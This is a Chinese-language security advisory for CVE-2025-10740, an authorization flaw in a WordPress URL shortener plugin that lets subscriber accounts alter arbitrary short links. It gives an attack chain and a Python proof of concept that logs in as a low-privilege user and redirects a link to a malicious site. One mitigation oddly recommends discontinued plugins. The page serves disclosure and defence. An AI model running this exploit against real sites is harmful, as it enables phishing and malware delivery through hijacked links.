IPBUF安全漏洞报告
English
CVE-2025-10740 CVSS 6.3 中危

CVE-2025-10740 WordPress URL Shortener插件未授权链接修改漏洞

披露日期: 2025-10-24

漏洞信息

漏洞编号
CVE-2025-10740
漏洞类型
权限绕过/未授权访问
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress URL Shortener Plugin (Exact Links)

相关标签

CVE-2025-10740WordPress插件漏洞权限绕过未授权访问短链接劫持URL ShortenerExact Links能力检查缺失WordPress安全

漏洞概述

URL Shortener Plugin For WordPress插件存在一个严重的安全漏洞,漏洞编号为CVE-2025-10740。该插件在所有3.0.7及以下版本中,verifyRequest函数缺少适当的能力检查(capability check),导致低权限认证用户可以访问本应需要更高权限才能使用的API功能。具体而言,任何具有Subscriber(订阅者)级别及更高权限的已认证用户,都可以利用此漏洞修改任意链接。这使得攻击者能够将合法链接重定向到恶意网站,进行钓鱼攻击、恶意软件分发或其他欺诈活动。由于WordPress网站通常拥有大量用户,且订阅者级别是最低的默认角色,该漏洞的影响范围相当广泛。攻击者只需拥有一个基本的注册账户即可利用此漏洞,无需特殊权限或技术门槛。

技术细节

该漏洞属于WordPress插件常见的权限控制缺陷。在WordPress的插件架构中,开发者应当使用current_user_can()或类似函数验证当前用户是否具有执行特定操作的权限。然而,Exact Links插件的api.php路由文件中,verifyRequest函数直接处理用户请求而没有进行权限验证。攻击者可以通过发送特制的API请求到该函数,利用WordPress的REST API或AJAX端点,在未经适当授权的情况下调用修改链接的功能。由于WordPress默认允许新注册用户获得Subscriber角色,而该角色在很多站点配置中可能被错误地赋予了额外的访问权限,这进一步扩大了漏洞的影响面。攻击者可以利用此漏洞修改数据库中存储的短链接URL,将用户访问重定向到攻击者控制的恶意网站。

攻击链分析

STEP 1
步骤1
攻击者在目标WordPress站点注册一个普通用户账户(默认获得Subscriber角色)
STEP 2
步骤2
攻击者使用该低权限账户登录WordPress,获取有效的认证会话cookie
STEP 3
步骤3
攻击者识别目标短链接的ID,然后构造恶意API请求直接访问verifyRequest函数
STEP 4
步骤4
由于插件未进行权限检查,API接受请求并允许修改链接的原始URL或目标URL
STEP 5
步骤5
攻击者将短链接重定向到钓鱼网站或恶意资源,当其他用户访问该短链接时被劫持
STEP 6
步骤6
受害者可能被诱导输入敏感信息或下载恶意软件,造成进一步的安全危害

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-10740 PoC - WordPress URL Shortener Plugin Unauthorized Link Modification # Target: WordPress site with URL Shortener Plugin <= 3.0.7 target_url = "http://target-wordpress-site.com" username = "attacker" # Subscriber level account password = "password" # Step 1: Authenticate and get cookies session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In" } response = session.post(login_url, data=login_data) print(f"Login status: {response.status_code}") # Step 2: Exploit the vulnerability by modifying a link # The verifyRequest function lacks capability check api_url = f"{target_url}/wp-json/exact-links/v1/links/1" modify_payload = { "original_url": "https://legitimate-site.com", "short_url": "https://malicious-site.com" } # Send the modification request as low-privilege user response = session.post(api_url, json=modify_payload) print(f"Modification request status: {response.status_code}") print(f"Response: {response.text}") # Note: This PoC demonstrates unauthorized access to link modification API # Actual exploitation requires identifying valid link IDs and API endpoints

影响范围

URL Shortener Plugin For WordPress <= 3.0.7

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1) 暂时禁用URL Shortener插件;2) 限制用户注册功能;3) 使用Web应用防火墙(WAF)规则阻止对wp-json/exact-links端点的非授权访问;4) 监控日志中的异常链接修改行为;5) 考虑使用其他已停止维护的短链接插件替代品。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表